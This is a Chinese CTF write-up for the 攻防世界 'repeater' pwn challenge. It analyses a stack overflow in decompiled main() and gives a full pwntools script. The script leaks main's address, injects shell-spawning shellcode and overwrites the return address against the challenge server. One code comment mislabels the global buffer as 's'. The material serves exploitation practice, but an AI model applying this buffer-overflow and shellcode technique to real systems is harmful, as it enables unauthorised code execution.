PWN 攻防世界 repeater
1.用ida打开,首先我们能看到maim函数先进入一个循环,
里面有一个read函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s[32]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+20h] [rbp-10h] int i; // [rsp+2Ch] [rbp-4h] sub_91B(); sub_A08(); v5 = 1192227; puts("I can repeat your input......."); puts("Please give me your name :"); memset(byte_202040, 0, sizeof(byte_202040)); sub_982(byte_202040, 48LL); for ( i = 0; i < v5; ++i ) { printf("%s's input :", byte_202040); memset(s, 0, sizeof(s)); read(0, s, 0x40uLL); puts("sorry... I can't....."); if ( v5 == 3281697 ) { puts("But there is gift for you :"); printf("%p\n", main); } } return 0LL; }
可以看到,read函数往s中读入0x40个字节的数据,从上面可以看到s的大小为32,所以存在溢出的漏洞。并且这个溢出可以修改v5和返回地址的值。
char s[32]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+20h] [rbp-10h] int i; // [rsp+2Ch] [rbp-4h]
注意这里的堆栈,rbp-30h是s的地址,rbp-10h是v5的地址,rbp-4h是i的地址
又因为是64位程序,所以rbp+8h是返回地址的地址,到时候修改返回地址即可修改程序的执行流程
2.利用
- 开始的时候会往byte_202040读入数据,我们写入shellcode
- 然后通过溢出我们修改v5的值,从而得到main函数地址
- 通过main函数地址和偏移得到shellcode地址(elf寻址方式似乎和PE有点不一样?)
- 再次溢出修改返回地址,使程序执行shellcode
from pwn import * sh = remote('61.147.171.105','63802') context.arch = 'amd64' shellcode = asm(shellcraft.sh()) sh.sendlineafter('name :',shellcode) num = 3281697 payload = b'a'*0x20 + p64(num) sh.sendlineafter('input :',payload) #修改v5的值,修改流程 sh.recvuntil('you :\n0x') main_addr = int(sh.recv(12),16) shellcode_addr = (main_addr - 0xa33) + 0x202040 # 0x202040是s的地址, 0xa33是main函数的偏移,(main_addr - 0xa33)可以计算出基地址,而基地址加上偏移就是全局变量shellcode的地址 payload2 = b'a'*0x20 + b'b'*0x10 + p64(0x1) + p64(shellcode_addr) #注入shellcode拿到权限 sh.sendlineafter('input',payload2) sh.interactive()
找漏洞好像还是挺有意思
对...对吗?
Comments NOTHING